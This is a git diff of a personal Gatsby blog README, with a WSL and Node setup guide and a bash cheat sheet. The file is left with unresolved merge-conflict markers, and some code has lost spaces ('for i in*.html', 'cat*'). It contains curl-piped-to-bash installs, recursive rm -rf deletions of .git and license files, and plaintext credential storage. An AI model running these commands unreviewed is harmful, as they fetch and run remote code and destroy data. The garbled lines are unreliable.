+    - [Description: replaces spaces in file and folder names with an `_` underscore](#description-replaces-spaces-in-file-and-folder-names-with-an-_-underscore)
+          - [code](#code-39)
+  - [41. Zip Each subdirectories in a given directory into their own zip file](#41-zip-each-subdirectories-in-a-given-directory-into-their-own-zip-file)
+    - [Description](#description-25)
+          - [code](#code-40)
+  - [91. Unzip PowerShell](#91-unzip-powershell)
+    - [Description](#description-26)
+          - [code](#code-41)
+  - [92. return to bash from zsh](#92-return-to-bash-from-zsh)
+    - [Description](#description-27)
+          - [code](#code-42)
+  - [93. Symbolic Link](#93-symbolic-link)
+    - [Description: to working directory](#description-to-working-directory)
+          - [code](#code-43)
+  - [94. auto generate readme](#94-auto-generate-readme)
+    - [Description: rename existing readme to blueprint.md](#description-rename-existing-readme-to-blueprintmd)
+          - [code](#code-44)
+  - [95. Log into postgres](#95-log-into-postgres)
+    - [Description](#description-28)
+          - [code](#code-45)
+  - [96. URL To Subscribe To YouTube Channel](#96-url-to-subscribe-to-youtube-channel)
+  - [| JavaScript libraries | Lodash ; Dojo ; core-js ; jQuery                         |](#-javascript-libraries--lodash--dojo--core-js--jquery-------------------------)
+  - [96. URL To Subscribe To YouTube Channel](#96-url-to-subscribe-to-youtube-channel-1)
+  - [Description](#description-29)
+          - [code](#code-46)
+  - [97. Embed Repl.it In Medium Post](#97-embed-replit-in-medium-post)
+          - [code](#code-47)
+  - [98 rRmove text target="parent" from files called right.html](#98-rrmove-text-targetparent-from-files-called-righthtml)
+    - [Description](#description-30)
+          - [code](#code-48)
+  - [99. Cheat Sheet](#99-cheat-sheet)
+    - [Description](#description-31)
+          - [code](#code-49)
+      - [Find](#find)
+  - [To find files by case-insensitive extension (ex: .jpg, .JPG, .jpG)](#to-find-files-by-case-insensitive-extension-ex-jpg-jpg-jpg)
+  - [To find directories](#to-find-directories)
+  - [To find files](#to-find-files)
+  - [To find files by octal permission](#to-find-files-by-octal-permission)
+  - [To find files with setuid bit set](#to-find-files-with-setuid-bit-set)
+  - [To find files with extension '.txt' and remove them](#to-find-files-with-extension-txt-and-remove-them)
+  - [To find files with extension '.txt' and look for a string into them](#to-find-files-with-extension-txt-and-look-for-a-string-into-them)
+  - [To find files with size bigger than 5 Mebibyte and sort them by size](#to-find-files-with-size-bigger-than-5-mebibyte-and-sort-them-by-size)
+  - [To find files bigger than 2 Megabyte and list them](#to-find-files-bigger-than-2-megabyte-and-list-them)
+  - [To find files modified more than 7 days ago and list file information](#to-find-files-modified-more-than-7-days-ago-and-list-file-information)
+  - [To find symlinks owned by a user and list file information](#to-find-symlinks-owned-by-a-user-and-list-file-information)
+  - [To search for and delete empty directories](#to-search-for-and-delete-empty-directories)
+  - [To search for directories named build at a max depth of 2 directories](#to-search-for-directories-named-build-at-a-max-depth-of-2-directories)
+  - [To search all files who are not in .git directory](#to-search-all-files-who-are-not-in-git-directory)
+  - [To find all files that have the same node (hard link) as MY\_FILE\_HERE](#to-find-all-files-that-have-the-same-node-hard-link-as-my_file_here)
+  - [To find all files in the current directory and modify their permissions](#to-find-all-files-in-the-current-directory-and-modify-their-permissions)
+  - [find . -type f -exec chmod 644 {} ;](#find---type-f--exec-chmod-644--)
+  - [](#-9)
+  - [Wiki Nav](#wiki-nav)
+  - [Dependencies](#dependencies)
+  - [](#-10)
+  - [Docs Structure](#docs-structure)
+  - [SITEMAP](#sitemap)
+  - [](#-11)
+- [](#-12)
+  - [🚀 Quick start](#-quick-start)
+  - [🧐 What's inside?](#-whats-inside)
+  - [🎓 Learning Gatsby](#-learning-gatsby)
+  - [💫 Deploy](#-deploy)
+  - [](#-13)
+    - [Gatsby With Netlify CMS](#gatsby-with-netlify-cms)
+  - [Prerequisites](#prerequisites)
+  - [Set up a Netlify CMS-managed Gatsby site in 5 steps](#set-up-a-netlify-cms-managed-gatsby-site-in-5-steps)
+    - [Step 1](#step-1)
+    - [Step 2](#step-2)
+    - [Step 3](#step-3)
+      - [Customizing your site](#customizing-your-site)
+    - [Step 4](#step-4)
+    - [Step 5](#step-5)
+      - [Benefits of Netlify CMS, GitHub, and Netlify Workflow](#benefits-of-netlify-cms-github-and-netlify-workflow)
+  - [You can learn more about Netlify CMS and how to configure it further in the Netlify CMS documentation](#you-can-learn-more-about-netlify-cms-and-how-to-configure-it-further-in-the-netlify-cms-documentation)
+  - [Gatsby Project Structure | Gatsby](#gatsby-project-structure--gatsby)
+  - [The file/folder structure described above reflects Gatsby-specific files and folders. Since Gatsby sites are also React apps, it's common to use standard React code organization patterns such as folders like `/components` and `/utils` inside `/src`. The React docs have more information on a typical React app folder structure.](#the-filefolder-structure-described-above-reflects-gatsby-specific-files-and-folders-since-gatsby-sites-are-also-react-apps-its-common-to-use-standard-react-code-organization-patterns-such-as-folders-like-components-and-utils-inside-src-the-react-docs-have-more-information-on-a-typical-react-app-folder-structure)
+      - [Layout Components | Gatsby](#layout-components--gatsby)
+  - [Excerpt](#excerpt)
+  - [Adding Markdown Pages | Gatsby](#adding-markdown-pages--gatsby)
+  - [](#-14)
+    - [Overview](#overview)
+    - [Syntax](#syntax)
+    - [Parameters](#parameters)
+    - [Return value](#return-value)
+    - [Example](#example)
+    - [Explanation](#explanation)
+    - [Output](#output)
+  - [Technoloy](#technoloy)
+  - [](#-15)
+  - [SOURCECODE](#sourcecode)
+    - [Overview](#overview-1)
+    - [Syntax](#syntax-1)
+    - [Parameters](#parameters-1)
+    - [Return value](#return-value-1)
+    - [Example](#example-1)
+    - [Explanation](#explanation-1)
+    - [Output](#output-1)
+  - [Source Code](#source-code)
+  - [Component Structure](#component-structure)
+    - [Table of Contents](#table-of-contents-1)
+  - [getPage](#getpage)
+    - [Parameters](#parameters-2)
+  - [getPageByFilePath](#getpagebyfilepath)
+    - [Parameters](#parameters-3)
+  - [getPages](#getpages)
+    - [Parameters](#parameters-4)
+    - [Examples](#examples)
+
+![preview](https://github.com/bgoonz/BGOONZ_BLOG_2.0/blob/master/static/images/blog-may-2022.png?raw=true)
+---
+
+## Useful Commands (internal use)
+
+```bash
+npm i @stackbit/gatsby-plugin-menus babel-runtime chokidar classnames fs-extra gatsby gatsby-image gatsby-plugin-netlify gatsby-plugin-netlify-cms gatsby-plugin-sass gatsby-plugin-react-helmet gatsby-plugin-typescript  --legacy-peer-deps
+git checkout 307a5cd        # check out the commit that you want to reset to
+git checkout -b fixy        # create a branch named fixy to do the work
+git merge -s ours master    # merge master's history without changing any files
+git checkout master         # switch back to master
+git merge fixy              # and merge in the fixed branch
+git push                    # done, no need to force push!
+```
+
+---
+
+## Stable Points
+
+- [stable 8-13-2021](https://github.com/bgoonz/BGOONZ_BLOG_2.0/commit/0c09a707f4bfddd974a31d97a4f8d716f1858ef8) or [or maybe](https://github.com/bgoonz/BGOONZ_BLOG_2.0/commit/68fba78e36fffcf21288ea0e90e1075bf31b2a82)
+- [Stable September 11](https://github.com/side-projects-42/BGOONZ_BLOG_2.0)
+- [October Stable](https://github.com/Web-Dev-Collaborative/october-stable)
+- [November 2021 stable](https://github.com/bgoonz/BGOONZ_BLOG_2.0/commit/9ae5da5813cc9b48d2a57c84cd32cf4309078524)
+- [Late November Stable](https://github.com/bgoonz/BGOONZ_BLOG_2.0/commit/40ecc95f000a848710c39e166961b8da7fca306b)
+- [December](https://github.com/bgoonz/BGOONZ_BLOG_2.0/tree/fc4a6ba1d61a3ef0b893cc5a44e41672547a3cc6)
+- [Late December](https://github.com/bgoonz/BGOONZ_BLOG_2.0/commit/848a8505eece492bfd9856eb63bd4acbee8bced6)
+- [Late Febuary](https://deploy-preview-1697--bgoonz-blog.netlify.app/)
+- [Late January](https://github.com/bgoonz/BGOONZ_BLOG_2.0/pull/1447)
+- [Good stable point](https://github.com/bgoonz/BGOONZ_BLOG_2.0/commit/90f70928a145c8a784899baf62efc2a0d5697bf4)
+- [Stable March 13th 2022](https://github.com/bgoonz/BGOONZ_BLOG_2.0/commit/c3f30229ac3dcd19ff54798227ce065c216e0c11)
+- [Stable March 13th 2022](https://github.com/bgoonz/BGOONZ_BLOG_2.0/commit/99db7b97282d7190556b2a1b1ac61d6d9c67f970)
+[netlify-deploy-preview](https://deploy-preview-2280--bgoonz-blog.netlify.app/docs/tools/)
+- [May fix](https://github.com/bgoonz/BGOONZ_BLOG_2.0/commit/736d38cdcdd3692d6a3bf1d5485ac2b0a3824d02)
+<https://6272b75c7b3c4c0009cacd01--bgoonz-blog.netlify.app/>
+- [Syntax hilighting working most recent](https://github.com/bgoonz/BGOONZ_BLOG_2.0/tree/db4d36067c1483c079389f1bd0e456c473c56710)
+- [FINALLY FIXED](https://62b5863dd06870000889c5cf--bgoonz-blog.netlify.app/)
+<https://62b5863dd06870000889c5cf--bgoonz-blog.netlify.app/>
+- [Good deploy early Aug](https://github.com/bgoonz/BGOONZ_BLOG_2.0/commit/a6bb13adf39305b7292a88bb1b37bb4bb2e5e76c)
+
+---
+
+### Links To Remember:
+
+
+- [Algolia Search UI](https://www.algolia.com/interface-demos/6ed0c3de-f9e4-4cc8-a7b2-c6c7c979cc5e)
+- [Most recent stable commit](https://github.com/bgoonz/BGOONZ_BLOG_2.0/commit/2448c20614bfef5491240d7da5b5e5873db8b586)
+- [sitemap](https://www.xml-sitemaps.com/download/bgoonz-blog.netlify.app-ee43723d7/sitemap.xml?view=1)
+- [initial commit](https://github.com/bgoonz/BGOONZ_BLOG_2.0/commit/e8f12effd461b560b366ee0bde5231f2c1ce0a4c)
+- [Static Html Version](https://github.com/Archive-42/bgoonz-blog-static)
+- [commit pages](https://github.com/bgoonz/BGOONZ_BLOG_2.0/commits/master?after=496dfce7e627bc81c80f7c0b5c41ecf420500b4a+34&branch=master)
+- [alt blog contact page](https://bgoonz-blog-v3-0.netlify.app/contact/)
+- [Resource Archive](https://resourcerepo2.netlify.app/)
+- [starter](https://codesandbox.io/s/ecstatic-wozniak-gj31v?autoresize=1&expanddevtools=1&fontsize=12&hidenavigation=1&theme=dark)
+- [Instant Search Demo](https://codesandbox.io/s/magical-davinci-l4hq6)
+- [midway-commit](https://github.com/bgoonz/BGOONZ_BLOG_2.0/tree/92d88002bebcde66b47d8109222ac62c64fa9909)
+- [blog2.0 backups](https://gist.github.com/bgoonz/68203bca236305d93d75e87533c7e8b8)
+- [backup repo](https://github.com/bgoonz/BGOONZ_BLOG_2.0)
+- [Bookmark website](https://github.com/side-projects-42/superb-celery)
+- [stable stackbit](https://github.com/bgoonz/BGOONZ_BLOG_2.0/commit/69a617bbce1113e65390d90e0085be422e7f23e1)
+- [repl.it for questions](https://comments-3.bgoonz.repl.co/)
+- [rotate pages](https://random-static-html-deploys.netlify.app/rotate.html)
+- [More widgets](https://webdevhub-1.disqus.com/)
+
+
+
+
+
+---
+
+## Web Dev Setup
+>>>>>>> master
+
 
 <details>
 
+<<<<<<< HEAD
 <summary> Bash Commands</summary>
 
 ## My Commands
@@ -51,15 +425,27 @@
 # To find files by case-insensitive extension (ex: .jpg, .jpg, .jpG)
 
 find . -iname "\*.jpg"
+=======
+
+
+<summary>Web Dev Setup</summary>
+
+## Basic Web Development Environment Setup
+>>>>>>> master
 
 # To find directories
 
+<<<<<<< HEAD
 find . -type d
 
 # To find files
+=======
+### Basic Web Development Environment Setup
+>>>>>>> master
 
 find . -type f
 
+<<<<<<< HEAD
 # To find files by octal permission
 
 find . -type f -perm 777
@@ -128,34 +514,173 @@ find . -name "* *" -type f | rename 's/ /_/g'
 ```sh
 
 ```sh
-find $dir -type f | sed 's|\(.*/\)[^A-Z]*\([A-Z].*\)|mv \"&\" \"\1\2\"|' | sh
+=======
+<figure>
 
-find $dir -type d | sed 's|\(.*/\)[^A-Z]*\([A-Z].*\)|mv \"&\" \"\1\2\"|' | sh
+![Web Dev Setup](https://cdn-images-1.medium.com/max/800/0*aqKP1drNHmNm34zz.jpg)
 
-for i in *.html; do mv "$i" "${i%-*}.html"; done
+</figure>
 
-for i in *.*; do mv "$i" "${i%-*}.${i##*.}"; done
+###### Test if you have Ubuntu installed by typing "Ubuntu" in the search box in the bottom app bar that reads "Type here to search". If you see a search result that reads **"Ubuntu 20.04 LTS"** with "App" under it, then you have it installed.
+```
+1.  In the application search box in the bottom bar, type "PowerShell" to find the application named "Windows PowerShell"
+2.  Right-click on "Windows PowerShell" and choose "Run as administrator" from the popup menu
+3.  In the blue PowerShell window, type the following: `Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux`
+4.  Restart your computer
+5.  In the application search box in the bottom bar, type "Store" to find the application named "Microsoft Store"
+6.  Click "Microsoft Store"
+7.  Click the "Search" button in the upper-right corner of the window
+8.  Type in "Ubuntu"
+9.  Click "Run Linux on Windows (Get the apps)"
+10. Click the orange tile labeled **"Ubuntu"** Note that there are 3 versions in the Microsoft Store… you want the one just entitled 'Ubuntu'
+11. Click "Install"
+12. After it downloads, click "Launch"
+13. If you get the option, pin the application to the task bar. Otherwise, right-click on the orange Ubuntu icon in the task bar and choose "Pin to taskbar"
+14. When prompted to "Enter new UNIX username", type your first name with no spaces
+15. When prompted, enter and retype a password for this UNIX user (it can be the same as your Windows password)
+16. Confirm your installation by typing the command `whoami 'as in who-am-i'`followed by Enter at the prompt (it should print your first name)
+17. You need to update your packages, so type `sudo apt update` (if prompted for your password, enter it)
+18. You need to upgrade your packages, so type `sudo apt upgrade` (if prompted for your password, enter it)
+```
+### Git
+Git comes with Ubuntu, so there's nothing to install. However, you should configure it using the following instructions.
+Open an Ubuntu terminal if you don't have one open already.
+1.  > You need to configure Git, so type `git config --global user.name "Your Name"` with replacing "Your Name" with your real name.
+2.  > You need to configure Git, so type `git config --global user.email your@email.com` with replacing "<a href="mailto:your@email.com" class="markup--anchor markup--li-anchor">your@email.com</a>" with your real email.
+**Note: if you want git to remember your login credentials type:**
+    git config --global credential.helper store
+### Google Chrome
+Test if you have Chrome installed by typing "Chrome" in the search box in the bottom app bar that reads "Type here to search". If you see a search result that reads "Chrome" with "App" under it, then you have it installed. Otherwise, follow these instructions to install Google Chrome.
+### Node.js
+Test if you have Node.js installed by opening an Ubuntu terminal and typing `node --version`. If it reports "Command 'node' not found", then you need to follow these directions.
+1.  > In the Ubuntu terminal, type `sudo apt update` and press Enter
+2.  > In the Ubuntu terminal, type `sudo apt install build-essential` and press Enter
+3.  > In the Ubuntu terminal, type `curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.35.2/install.sh | bash` and press Enter
+4.  > In the Ubuntu terminal, type `. ./.bashrc` and press Enter
+5.  > In the Ubuntu terminal, type `nvm install --lts` and press Enter
+6.  > Confirm that **node** is installed by typing `node --version` and seeing it print something that is not "Command not found"!
+### Unzip
+You will often have to download a zip file and unzip it. It is easier to do this from the command line. So we need to install a linux unzip utility.
+In the Ubuntu terminal type: `sudo apt install unzip` and press Enter
+Mocha.js
+Test if you have Mocha.js installed by opening an Ubuntu terminal and typing `which mocha`. If it prints a path, then you're good. Otherwise, if it prints nothing, install Mocha.js by typing `npm install -g mocha`.
+### Python 3
+Ubuntu does not come with Python 3. Install it using the command `sudo apt install python3`. Test it by typing `python3 --version` and seeing it print a number.
+### Note about WSL
+As of the time of writing of this document, WSL has an issue renaming or deleting files if Visual Studio Code is open. So before doing any linux commands which manipulate files, make sure you **close** Visual Studio Code before running those commands in the Ubuntu terminal.
+### Some other common instillations
+```bash
+    # Installing build essentials
+    sudo apt-get install -y build-essential libssl-dev
+    # Nodejs and NVM
+    curl -o- https://raw.githubusercontent.com/creationix/nvm/v0.33.2/install.sh | bash
+    source ~/.profile
+    sudo nvm install 7.10.0
+    sudo nvm use 7.10.0
+    node -v
+    #nodemon
+    sudo npm install -g nodemon
+    sudo npm install -g loopback-cli
+    # Forever to run nodejs scripts forever
+    sudo npm install forever -g
+    # Git - a version control system
+    sudo apt-get update
+    sudo apt-get install -y git xclip
+    # Grunt - an automated task runner
+    sudo npm install -g grunt-cli
+    # Bower - a dependency manager
+    sudo npm install -g bower
+    # Yeoman - for generators
+    sudo npm install -g yo
+    # maven
+    sudo apt-get install maven -y
+    # Gulp - an automated task runner
+    sudo npm install -g gulp-cli
+    # Angular FullStack - My favorite MEAN boilerplate (MEAN = MongoDB, Express, Angularjs, Nodejs)
+    sudo npm install -g generator-angular-fullstack
+    # Vim, Curl, Python - Some random useful stuff
+    sudo apt-get install -y vim curl python-software-properties
+    sudo apt-get install -y python-dev, python-pip
+    sudo apt-get install -y libkrb5-dev
+    # Installing JDK and JRE
+    sudo apt-get install -y default-jre
+    sudo apt-get install -y default-jdk
+    # Archive Extractors
+    sudo apt-get install -y unace unrar zip unzip p7zip-full p7zip-rar sharutils rar uudeview mpack arj cabextract file-roller
+    # FileZilla - a FTP client
+    sudo apt-get install -y filezilla
+```
+</details>
+---
+### Documentation Commands:
+documentation build src/components/DocsMenu.js  -f md> ./notes/DocsMenu.md
+documentation build src/components/Footer.js  -f md> ./notes/Footer.md
+documentation build src/components/Header.js  -f md> ./notes/Header.md
+documentation build src/components/index.js  -f md> ./notes/index.md
+documentation build src/components/SectionContent.js  -f md> ./notes/SectionContent.md
+documentation build src/components/SectionDocs.js  -f md> ./notes/SectionDocs.md
+documentation build src/components/SectionHero.js  -f md> ./notes/SectionHero.md
+documentation build src/components/CtaButtons.js  -f md> ./notes/CtaButtons.md
+documentation build src/components/DocsSubmenu.js  -f md> ./notes/DocsSubmenu.md
+documentation build src/components/FormField.js  -f md> ./notes/FormField.md
+documentation build src/components/Icon.js  -f md> ./notes/Icon.md
+documentation build src/components/Layout.js  -f md> ./notes/Layout.md
+documentation build src/components/SectionCta.js  -f md> ./notes/SectionCta.md
+documentation build src/components/SectionGrid.js  -f md> ./notes/SectionGrid.md
+documentation build src/components/Submenu.js  -f md> ./notes/Submenu.md
+documentation build src/components/ActionLink.js  -f md> ./notes/ActionLink.md
+---
+## Blog Content:
+---
+---
+##  Bash Cheat Sheet (MY COMMANDS)
+
+<details>
 
+
+
+<summary> Bash Cheat Sheet (MY COMMANDS) </summary>
+
+## 1. Remove spaces from file and folder names and then remove numbers from files and folder names
+### Description: need to : `sudo apt install rename`
+> Notes: Issue when renaming file without numbers collides with existing file name...
+###### code
+```bash
+find . -name "* *" -type d | rename 's/ /_/g'
+find . -name "* *" -type f | rename 's/ /_/g'
+```
+```bash
+```bash
+>>>>>>> master
+find $dir -type f | sed 's|\(.*/\)[^A-Z]*\([A-Z].*\)|mv \"&\" \"\1\2\"|' | sh
+find $dir -type d | sed 's|\(.*/\)[^A-Z]*\([A-Z].*\)|mv \"&\" \"\1\2\"|' | sh
+for i in*.html; do mv "$i" "${i%-*}.html"; done
+for i in*.*; do mv "$i" "${i%-*}.${i##*.}"; done
 ---
+<<<<<<< HEAD
 ## Description: combine the contents of every file in the contaning directory.
 
 > Notes: this includes the contents of the file it's self...
 
 ## # code:
 
+=======
+### Description: combine the contents of every file in the contaning directory.
+>Notes: this includes the contents of the file it's self...
+###### code:
+>>>>>>> master
 ```js
 //APPEND-DIR.js
 const fs = require('fs');
 let cat = require('child_process')
-  .execSync('cat *')
+.execSync('cat*')
   .toString('UTF-8');
 fs.writeFile('output.md', cat, err =>  {
   if (err) throw err;
 });
-
 ```
-
 ---
+<<<<<<< HEAD
 
 # 2. Download Website Using Wget
 
@@ -167,11 +692,17 @@ fs.writeFile('output.md', cat, err =>  {
 
 ```sh
 
+=======
+## 2. Download Website Using Wget
+### Description
+> Notes: ==> sudo apt install wget
+###### code
+```bash
+>>>>>>> master
 wget --limit-rate=200k --no-clobber --convert-links --random-wait -r -p -E -e robots=off -U mozilla https://bootcamp42.gitbook.io/python/
-
 ```
-
 ---
+<<<<<<< HEAD
 
 # 3. Clean Out Messy Git Repo
 
@@ -183,15 +714,19 @@ wget --limit-rate=200k --no-clobber --convert-links --random-wait -r -p -E -e ro
 
 ```sh
 
+=======
+## 3. Clean Out Messy Git Repo
+### Description: recursively removes git related folders as well as internal use files / attributions in addition to empty folders
+> Notes: To clear up clutter in repositories that only get used on your local machine.
+###### code
+```bash
+>>>>>>> master
 find . -empty -type d -print -delete
-
 find . \( -name ".git" -o -name ".gitignore" -o -name ".gitmodules" -o -name ".gitattributes" \) -exec rm -rf -- {} +
-
 find . \( -name "*SECURITY.txt" -o -name "*RELEASE.txt" -o  -name "*CHANGELOG.txt" -o -name "*LICENSE.txt" -o -name "*CONTRIBUTING.txt" -name "*HISTORY.md" -o -name "*LICENSE" -o -name "*SECURITY.md" -o -name "*RELEASE.md" -o  -name "*CHANGELOG.md" -o -name "*LICENSE.md" -o -name "*CODE_OF_CONDUCT.md" -o -name "*CONTRIBUTING.md" \) -exec rm -rf -- {} +
-
 ```
-
 ---
+<<<<<<< HEAD
 
 # 4. clone all of a user's git repositories
 
@@ -205,37 +740,53 @@ find . \( -name "*SECURITY.txt" -o -name "*RELEASE.txt" -o  -name "*CHANGELOG.tx
 
 ```sh
 
+=======
+## 4. clone all of a user's git repositories
+### Description: clone all of a user or organization's git repositories
+> Notes:
+###### code
+## Generalized
+```bash
+>>>>>>> master
 CNTX={users|orgs}; NAME={username|orgname}; PAGE=1
 curl "https://api.github.com/$CNTX/$NAME/repos?page=$PAGE&per_page=100" |
   grep -e 'git_url*' |
   cut -d \" -f 4 |
   xargs -L1 git clone
 ```
+<<<<<<< HEAD
 
 # Clone all Git User
 
 ```sh
+=======
+## Clone all Git User
+```bash
+>>>>>>> master
 CNTX={users}; NAME={bgoonz}; PAGE=1
 curl "https://api.github.com/$CNTX/$NAME/repos?page=$PAGE&per_page=200"?branch=master |
   grep -e 'git_url*' |
   cut -d \" -f 4 |
   xargs -L1 git clone
-
 ```
+<<<<<<< HEAD
 
 # Clone all Git Organization
 
 ```sh
 
+=======
+## Clone all Git Organization
+```bash
+>>>>>>> master
 CNTX={organizations}; NAME={TheAlgorithms}; PAGE=1
 curl "https://api.github.com/$CNTX/$NAME/repos?page=$PAGE&per_page=200"?branch=master |
   grep -e 'git_url*' |
   cut -d \" -f 4 |
   xargs -L1 git clone
-
 ```
-
 ---
+<<<<<<< HEAD
 
 # 5. Git Workflow
 
@@ -244,43 +795,65 @@ curl "https://api.github.com/$CNTX/$NAME/repos?page=$PAGE&per_page=200"?branch=m
 ## ## code
 
 ```sh
+=======
+## 5. Git Workflow
+### Description
+###### code
+```bash
+>>>>>>> master
 git pull
 git init
 git add .
 git commit -m"update"
 git push -u origin master
 ```
+<<<<<<< HEAD
 
 ```sh
+=======
+```bash
+>>>>>>> master
 git init
 git add .
 git commit -m"update"
 git push -u origin main
 ```
+<<<<<<< HEAD
 
 ```sh
 
+=======
+```bash
+>>>>>>> master
 git init
 git add .
 git commit -m"update"
 git push -u origin bryan-guner
 ```
+<<<<<<< HEAD
 
 ```sh
+=======
+```bash
+>>>>>>> master
 git init
 git add .
 git commit -m"update"
 git push -u origin gh-pages
 ```
+<<<<<<< HEAD
 
 ```sh
+=======
+```bash
+>>>>>>> master
 git init
 git add .
 git commit -m"update"
 git push -u origin preview
 ```
-
 ---
+<<<<<<< HEAD
 
 # 6. Recursive Unzip In Place
 
@@ -292,13 +865,18 @@ git push -u origin preview
 
 ```sh
 
+=======
+## 6. Recursive Unzip In Place
+### Description: recursively unzips folders and then deletes the zip file by the same name
+> Notes:
+###### code
+```bash
+>>>>>>> master
 find . -name "*.zip" | while read filename; do unzip -o -d "`dirname "$filename"`" "$filename"; done;
-
 find . -name "*.zip" -type f -print -delete
-
 ```
-
 ---
+<<<<<<< HEAD
 
 # 7. git pull keeping local changes
 
@@ -310,13 +888,19 @@ find . -name "*.zip" -type f -print -delete
 
 ```sh
 
+=======
+## 7. git pull keeping local changes
+### Description
+> Notes:
+###### code
+```bash
+>>>>>>> master
 git stash
 git pull
 git stash pop
-
 ```
-
 ---
+<<<<<<< HEAD
 
 # 8. Prettier Code Formatter
 
@@ -328,13 +912,18 @@ git stash pop
 
 ```sh
 
+=======
+## 8. Prettier Code Formatter
+### Description
+> Notes:
+###### code
+```bash
+>>>>>>> master
 sudo npm i prettier -g
-
 prettier --write .
-
 ```
-
 ---
+<<<<<<< HEAD
 
 # 9. Pandoc
 
@@ -346,15 +935,19 @@ prettier --write .
 
 ```sh
 
+=======
+## 9. Pandoc
+### Description
+> Notes:
+###### code
+```bash
+>>>>>>> master
 find ./ -iname "*.md" -type f -exec sh -c 'pandoc --standalone "${0}" -o "${0%.md}.html"' {} \;
-
 find ./ -iname "*.html" -type f -exec sh -c 'pandoc --wrap=none --from html --to markdown_strict "${0}" -o "${0%.html}.md"' {} \;
-
 find ./ -iname "*.docx" -type f -exec sh -c 'pandoc "${0}" -o "${0%.docx}.md"' {} \;
-
 ```
-
 ---
+<<<<<<< HEAD
 
 # 10. Gitpod Installs
 
@@ -365,6 +958,13 @@ find ./ -iname "*.docx" -type f -exec sh -c 'pandoc "${0}" -o "${0%.docx}.md"' {
 ## ## code
 
 ```sh
+=======
+## 10. Gitpod Installs
+### Description
+> Notes:
+###### code
+```bash
+>>>>>>> master
 sudo apt install tree
 sudo apt install pandoc -y
 sudo apt install rename -y
@@ -373,17 +973,19 @@ sudo apt install wget -y
 npm i lebab -g
 npm i prettier -g
 npm i npm-recursive-install -g
-
 ```
+<<<<<<< HEAD
 
 ```sh
+=======
+```bash
+>>>>>>> master
 black .
-
 prettier --write .
 npm-recursive-install
 ```
-
 ---
+<<<<<<< HEAD
 
 # 11. Repo Utils Package
 
@@ -394,11 +996,17 @@ npm-recursive-install
 ## ## code
 
 ```sh
+=======
+## 11. Repo Utils Package
+### Description: my standard repo utis package
+> Notes:
+###### code
+```bash
+>>>>>>> master
 npm i @bgoonz11/repoutils
-
 ```
-
 ---
+<<<<<<< HEAD
 
 # 12. Unix Tree Package Usage
 
@@ -409,9 +1017,16 @@ npm i @bgoonz11/repoutils
 ## ## code
 
 ```sh
+=======
+## 12. Unix Tree Package Usage
+### Description
+> Notes:
+###### code
+```bash
+>>>>>>> master
 tree -d -I  'node_modules'
-
 tree  -I  'node_modules'
+<<<<<<< HEAD
 
 tree -f  -I  'node_modules' > TREE.md
 
@@ -423,9 +1038,16 @@ tree -f  -I  'node_modules' -d > TREE.md
 
 tree -f > README.md
 
+=======
+tree -f  -I  'node_modules' >TREE.md
+tree -f -L 2  >README.md
+tree -f  -I  'node_modules' >listing-path.md
+tree -f  -I  'node_modules' -d >TREE.md
+tree -f >README.md
+>>>>>>> master
 ```
-
 ---
+<<<<<<< HEAD
 
 # 13. Find & Replace string in file & folder names recursively
 
@@ -437,23 +1059,23 @@ tree -f > README.md
 
 ```sh
 
+=======
+## 13. Find & Replace string in file & folder names recursively
+### Description
+> Notes:
+###### code
+```bash
+>>>>>>> master
 find . -type f -exec rename 's/string1/string2/g' {} +
-
 find . -type d -exec rename 's/-master//g' {} +
-
 find . -type f -exec rename 's/\.download//g' {} +
-
 find . -type d -exec rename 's/-main//g' {} +
-
-rename 's/\.js\.download$/.js/' *.js\.download
-
+rename 's/\.js\.download$/.js/'*.js\.download
 rename 's/\.html\.markdown$/.md/' *.html\.markdown
-
 find . -type d -exec rename 's/es6//g' {} +
-
 ```
-
 ---
+<<<<<<< HEAD
 
 # 14. Remove double extensions
 
@@ -467,35 +1089,46 @@ find . -type d -exec rename 's/es6//g' {} +
 #!/bin/bash
 
 for file in *.md.md
+=======
+## 14. Remove double extensions
+### Description
+> Notes:
+###### code
+```bash
+# !/bin/bash
+for file in*.md.md
+>>>>>>> master
 do
     mv "${file}" "${file%.md}"
 done
-
-#!/bin/bash
-
+# !/bin/bash
 for file in *.html.html
 do
     mv "${file}" "${file%.html}"
 done
 ```
+<<<<<<< HEAD
 
 ```sh
 
 #!/bin/bash
 
 for file in *.html.png
+=======
+```bash
+# !/bin/bash
+for file in*.html.png
+>>>>>>> master
 do
     mv "${file}" "${file%.png}"
 done
-
 for file in *.jpg.jpg
 do
     mv "${file}" "${file%.png}"
 done
-
 ```
-
 ---
+<<<<<<< HEAD
 
 # 15. Truncate folder names down to 12 characters
 
@@ -507,11 +1140,17 @@ done
 
 ```sh
 
+=======
+## 15. Truncate folder names down to 12 characters
+### Description: Truncate folder names down to 12 characters
+> Notes: Truncate folder names down to 12 characters
+###### code
+```bash
+>>>>>>> master
 for d in ./*; do mv $d ${d:0:12}; done
-
 ```
-
 ---
+<<<<<<< HEAD
 
 # 16.Appendir.js
 
@@ -521,6 +1160,12 @@ for d in ./*; do mv $d ${d:0:12}; done
 
 ## ## code
 
+=======
+## 16.Appendir.js
+### Description: combine the contents of every file in the contaning directory
+> Notes: this includes the contents of the file it's self...
+###### code
+>>>>>>> master
 ```js
 //APPEND-DIR.js
 const fs = require('fs');
@@ -529,8 +1174,8 @@ fs.writeFile('output.md', cat, (err) => {
     if (err) throw err;
 });
 ```
-
 ---
+<<<<<<< HEAD
 
 # 17. Replace space in filename with underscore
 
@@ -541,13 +1186,18 @@ fs.writeFile('output.md', cat, (err) => {
 ## ## code
 
 ```sh
+=======
+## 17. Replace space in filename with underscore
+### Description: followed by replace `'#' with '_'` in directory name
+> Notes: Can be re-purposed to find and replace any set of strings in file or folder names.
+###### code
+```bash
+>>>>>>> master
 find . -name "* *" -type f | rename 's/_//g'
-
 find . -name "* *" -type d | rename 's/#/_/g'
-
 ```
-
 ---
+<<<<<<< HEAD
 
 # 18. Filter & delete files by name and extension
 
@@ -558,23 +1208,23 @@ find . -name "* *" -type d | rename 's/#/_/g'
 ## ## code
 
 ```sh
+=======
+## 18. Filter & delete files by name and extension
+### Description
+> Notes:
+###### code
+```bash
+>>>>>>> master
 find . -name '.bin' -type d -prune -exec rm -rf '{}' +
-
 find . -name '*.html' -type d -prune -exec rm -rf '{}' +
-
 find . -name 'nav-index' -type d -prune -exec rm -rf '{}' +
-
 find . -name 'node-gyp' -type d -prune -exec rm -rf '{}' +
-
